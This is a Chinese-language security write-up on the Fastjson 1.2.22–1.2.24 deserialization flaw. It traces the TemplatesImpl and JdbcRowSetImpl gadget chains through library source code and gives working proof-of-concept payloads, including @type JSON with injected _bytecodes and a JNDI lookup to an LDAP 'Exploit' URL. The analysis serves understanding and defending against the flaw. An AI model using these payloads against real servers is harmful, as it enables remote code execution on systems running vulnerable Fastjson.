前言
本文为Fastjson1.2.22-1.2.24反序列化漏洞分析。
主要利用链分为基于TemplateImpl的利用链和基于JdbcRowSetImpl的利用链
TemplateImpl利用链
PoC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 |
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.io.IOUtils; import org.apache.commons.codec.binary.Base64; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException; public class Poc { public static String readClass(String cls){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); } public static void test_auto() throws Exception { ParserConfig config = new ParserConfig(); final String fileSeparator = System.getProperty("file.separator"); final String evilClassPath = "/Users/lih3iu/Test.class"; String evilCode = readClass(evilClassPath); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evilCode+"\"]," + "'_name':'a.b'," + "'_tfactory':{ }," + "\"_outputProperties\":{ }}\n"; System.out.println(text); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); } public static void main(String args[]){ try { test(); } catch (Exception e) { e.printStackTrace(); } } } |
调用链分析
断点下在JSON.parseObject并跟进
JSON#praseObject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
public static <T> T parseObject(String input, Type clazz, ParserConfig config, ParseProcess processor, int featureValues, Feature... features) { if (input == null) { return null; } else { if (features != null) { Feature[] var6 = features; int var7 = features.length; for(int var8 = 0; var8 < var7; ++var8) { Feature feature = var6[var8]; featureValues |= feature.mask; } } DefaultJSONParser parser = new DefaultJSONParser(input, config, featureValues); .... T value = parser.parseObject(clazz, (Object)null); parser.handleResovleTask(value); parser.close(); return value; } } |
先通过传进去的feature也就是我们设置的Feature.SupportNonPublicFields生成FeatureValues并作为参数传入DefaultJSONParser类中初始化生成一个parser,然后调用parser中的parserObject来解析clazz。
DefaultJSONParser#parseObject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
public <T> T parseObject(Type type, Object fieldName) { int token = this.lexer.token(); if (token == 8) { this.lexer.nextToken(); return null; } else { if (token == 4) { if (type == byte[].class) { byte[] bytes = this.lexer.bytesValue(); this.lexer.nextToken(); return bytes; } if (type == char[].class) { String strVal = this.lexer.stringVal(); this.lexer.nextToken(); return strVal.toCharArray(); } } ObjectDeserializer derializer = this.config.getDeserializer(type); try { return derializer.deserialze(this, type, fieldName); } catch (JSONException var6) { throw var6; } catch (Throwable var7) { throw new JSONException(var7.getMessage(), var7); } } } |
通过getDeserializer函数或者对应类型的反序列化器,并进行反序列化
JavaObjectDeserializer#deserialze
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) { if (type instanceof GenericArrayType) { Type componentType = ((GenericArrayType)type).getGenericComponentType(); if (componentType instanceof TypeVariable) { TypeVariable<?> componentVar = (TypeVariable)componentType; componentType = componentVar.getBounds()[0]; } List<Object> list = new ArrayList(); parser.parseArray(componentType, list); if (componentType instanceof Class) { Class<?> componentClass = (Class)componentType; Object[] array = (Object[])((Object[])Array.newInstance(componentClass, list.size())); list.toArray(array); return array; } else { return list.toArray(); } } else { ➡️ return type instanceof Class && type != Object.class && type != Serializable.class ? parser.parseObject(type) : parser.parse(fieldName); } } |
由于type为Object.class类型,所以进入parse函数
DefaultJSONParser#parse
1 2 3 4 5 6 7 |
public Object parse(Object fieldName) { JSONLexer lexer = this.lexer; switch(lexer.token()) { ... case 12: JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField)); return this.parseObject((Map)object, fieldName); |
在Feature.OrderField选项关闭的情况下进入一个新的parseObject函数(返回类型为Object)
DefaultJSONParser#parseObject(return Object)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
public final Object parseObject(Map object, Object fieldName) { JSONLexer lexer = this.lexer; try { boolean setContextFlag = false; while(true) { lexer.skipWhitespace(); char ch = lexer.getCurrent(); if (lexer.isEnabled(Feature.AllowArbitraryCommas)) { while(ch == ',') { lexer.next(); lexer.skipWhitespace(); ch = lexer.getCurrent(); } } boolean isObjectKey = false; Object key; ParseContext contextR; if (ch == '"') { key = lexer.scanSymbol(this.symbolTable, '"'); lexer.skipWhitespace(); ch = lexer.getCurrent(); if (ch != ':') { throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key); } } |
进行json内容解析扫描,通过skipWhitespace函数进行空格去除,然后拿到当前字符,如果是双引号的,再次通过scanSymbol函数进行解析扫描
在扫描到双引号的情况下停止并返回
所以我们此时得到了value为@type的key变量,再接着向下跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { ref = lexer.scanSymbol(this.symbolTable, '"'); Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader()); if (clazz != null) { lexer.nextToken(16); if (lexer.token() != 13) { this.setResolveStatus(2); if (this.context != null && !(fieldName instanceof Integer)) { this.popContext(); } if (object.size() > 0) { instance = TypeUtils.cast(object, clazz, this.config); this.parseObject(instance); thisObj = instance; return thisObj; } ObjectDeserializer deserializer = this.config.getDeserializer(clazz); thisObj = deserializer.deserialze(this, clazz, fieldName); return thisObj; } |
条件满足key并且DisableSpecialKeyDetect选项关闭,接着进行扫描,扫描下一个双引号中的内容,也就是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,并且通过loadclass加载此类,跟进loadclass
TypeUtils#loadclass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
public static Class<?> loadClass(String className, ClassLoader classLoader) { if (className != null && className.length() != 0) { Class<?> clazz = (Class)mappings.get(className); if (clazz != null) { return clazz; } else if (className.charAt(0) == '[') { Class<?> componentType = loadClass(className.substring(1), classLoader); return Array.newInstance(componentType, 0).getClass(); } else if (className.startsWith("L") && className.endsWith(";")) { String newClassName = className.substring(1, className.length() - 1); return loadClass(newClassName, classLoader); } else { try { if (classLoader != null) { clazz = classLoader.loadClass(className); mappings.put(className, clazz); return clazz; } } catch (Throwable var6) { var6.printStackTrace(); } try { ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader(); if (contextClassLoader != null) { clazz = contextClassLoader.loadClass(className); mappings.put(className, clazz); return clazz; } } catch (Throwable var5) { } |
通过loadclass加载到目标类并返回,然后将className与clazz放入缓存mappings,这里做缓存可以更方便下次调用,避免重复的loadclass耗费资源
接着回到parseObject函数中,再次进入deserilaze函数做反序列化处理
1 2 3 |
ObjectDeserializer deserializer = this.config.getDeserializer(clazz); thisObj = deserializer.deserialze(this, clazz, fieldName); return thisObj; |
JavaBeanDeserializer#deserialize
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
protected <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName, Object object, int features) { ..... label1013: { if (!matchField) { key = lexer.scanSymbol(parser.symbolTable); if (key == null) { token = lexer.token(); if (token == 13) { lexer.nextToken(16); break label1013; } if (token == 16 && lexer.isEnabled(Feature.AllowArbitraryCommas)) { break label1068; } } |
通过scanSymbol再次扫描双引号,获得_bytecode恶意代码字段,并且通过parseField函数对此字段进行解析
JavaBeanDeserializer#parseField
1 2 3 4 5 6 7 8 9 10 11 12 13 |
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) { JSONLexer lexer = parser.lexer; FieldDeserializer fieldDeserializer = this.smartMatch(key); int mask = Feature.SupportNonPublicField.mask; if (fieldDeserializer == null && (parser.lexer.isEnabled(mask) || (this.beanInfo.parserFeatures & mask) != 0)) { .... } } else { lexer.nextTokenWithColon(((FieldDeserializer)fieldDeserializer).getFastMatchToken()); ➡️ ((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues); return true; } } |
再次跟进parseField函数
DefaultFieldDeseriailizer#parseField
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) { if (this.fieldValueDeserilizer == null) { this.getFieldValueDeserilizer(parser.getConfig()); } ... Object value; if (this.fieldValueDeserilizer instanceof JavaBeanDeserializer) { JavaBeanDeserializer javaBeanDeser = (JavaBeanDeserializer)this.fieldValueDeserilizer; value = javaBeanDeser.deserialze(parser, fieldType, this.fieldInfo.name, this.fieldInfo.parserFeatures); } else if (this.fieldInfo.format != null && this.fieldValueDeserilizer instanceof ContextObjectDeserializer) { value = ((ContextObjectDeserializer)this.fieldValueDeserilizer).deserialze(parser, fieldType, this.fieldInfo.name, this.fieldInfo.format, this.fieldInfo.parserFeatures); } else { value = this.fieldValueDeserilizer.deserialze(parser, fieldType, this.fieldInfo.name); } ... if (parser.getResolveStatus() == 1) { ResolveTask task = parser.getLastResolveTask(); task.fieldDeserializer = this; task.ownerContext = parser.getContext(); parser.setResolveStatus(0); } else if (object == null) { fieldValues.put(this.fieldInfo.name, value); } else { this.setValue(object, value); } |
最后进入关键方法FieldDeserializer#setvalue,主要代码如下
1 |
field.set(object, value); |
成功将_bytecodes变量设置为恶意类,接下来_outputProperties的检测同样如此
通过
1 |
Method method = this.fieldInfo.method; |
检测出反序列化调用的getter进行反射调用getoutputProperties方法
跟进此方法
1 2 3 4 5 6 7 8 |
public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } } |
跟进newTransformer
1 2 3 4 5 6 7 8 9 10 |
public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); ... } |
跟进getTransletInstance
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null; if (_class == null) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this); translet.setOverrideDefaultParser(_overrideDefaultParser); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } |
跟进defineTransletClasses
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
private void defineTransletClasses() throws TransformerConfigurationException { if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); |
在这段代码中首先要注意下_tfactory.getExternalExtensionsMap,这里也就是为什么我们要将字段中的_tfactory设置为{}的原因,防止后续产生报错
将恶意类定义,并进行了父类的判断,然后再在getTransletInstance中通过newInstance函数将恶意类实例化,触发命令执行
1 |
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); |
完整调用链如下
JdbcRowSetImpl利用链
PoC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
import com.alibaba.fastjson.JSON; public class JdbcRowSetImplPoc { public static void main(String[] argv){ testJdbcRowSetImpl(); } public static void testJdbcRowSetImpl(){ String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1387/Exploit\"," + " \"autoCommit\":true}"; JSON.parse(payload); } } |
调用链分析
前面一直到loadclass一直都是一样的,这里就不再赘述
反序列化解析类的过程依然是先遍历一遍属性,然后接着解析json,拿到键值
再跟进parseObject
JavaBeanDeserializer#parseObject
接着跟进其中的parseField方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) { if (this.fieldValueDeserilizer == null) { this.getFieldValueDeserilizer(parser.getConfig()); } Type fieldType = this.fieldInfo.fieldType; if (objectType instanceof ParameterizedType) { ParseContext objContext = parser.getContext(); if (objContext != null) { objContext.type = objectType; } fieldType = FieldInfo.getFieldType(this.clazz, objectType, fieldType); this.fieldValueDeserilizer = parser.getConfig().getDeserializer(fieldType); } Object value; if (this.fieldValueDeserilizer instanceof JavaBeanDeserializer) { JavaBeanDeserializer javaBeanDeser = (JavaBeanDeserializer)this.fieldValueDeserilizer; value = javaBeanDeser.deserialze(parser, fieldType, this.fieldInfo.name, this.fieldInfo.parserFeatures); } else if (this.fieldInfo.format != null && this.fieldValueDeserilizer instanceof ContextObjectDeserializer) { value = ((ContextObjectDeserializer)this.fieldValueDeserilizer).deserialze(parser, fieldType, this.fieldInfo.name, this.fieldInfo.format, this.fieldInfo.parserFeatures); } else { value = this.fieldValueDeserilizer.deserialze(parser, fieldType, this.fieldInfo.name); } if (parser.getResolveStatus() == 1) { ResolveTask task = parser.getLastResolveTask(); task.fieldDeserializer = this; task.ownerContext = parser.getContext(); parser.setResolveStatus(0); } else if (object == null) { fieldValues.put(this.fieldInfo.name, value); } else { this.setValue(object, value); } } |
熟悉的setValue反射调用method
跟进所反射的方法
1 2 3 4 5 6 7 8 9 |
public void setAutoCommit(boolean var1) throws SQLException { if (this.conn != null) { this.conn.setAutoCommit(var1); } else { this.conn = this.connect(); this.conn.setAutoCommit(var1); } } |
跟进connect
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
private Connection connect() throws SQLException { if (this.conn != null) { return this.conn; } else if (this.getDataSourceName() != null) { try { InitialContext var1 = new InitialContext(); ➡️ DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName()); return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection(); } catch (NamingException var3) { throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString()); } } else { return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null; } } |
在上面我们通过setDataSourceName函数进行了变量设置
1 2 3 4 5 6 7 8 9 10 11 12 13 |
public void setDataSourceName(String var1) throws SQLException { if (this.getDataSourceName() != null) { if (!this.getDataSourceName().equals(var1)) { super.setDataSourceName(var1); this.conn = null; this.ps = null; this.rs = null; } } else { super.setDataSourceName(var1); } } |
所有这里变量可控,即可造成rmi/ldap注入,完成调用
总结
相比来看,TemplateImpl这条利用链是有一定的限制的,还要设置Feature.SupportNonPublicField这个条件才能触发
对于JdbcRowSetImpl这条链来讲,更多的限制体现在jdk版本的限制,在高版本下是有对rmi以及Idap注入的限制的
基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191,不过如果环境本身classpath存在可利用的Gadgets,也是可以利用的。
版本的限制影响如下
参考链接
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论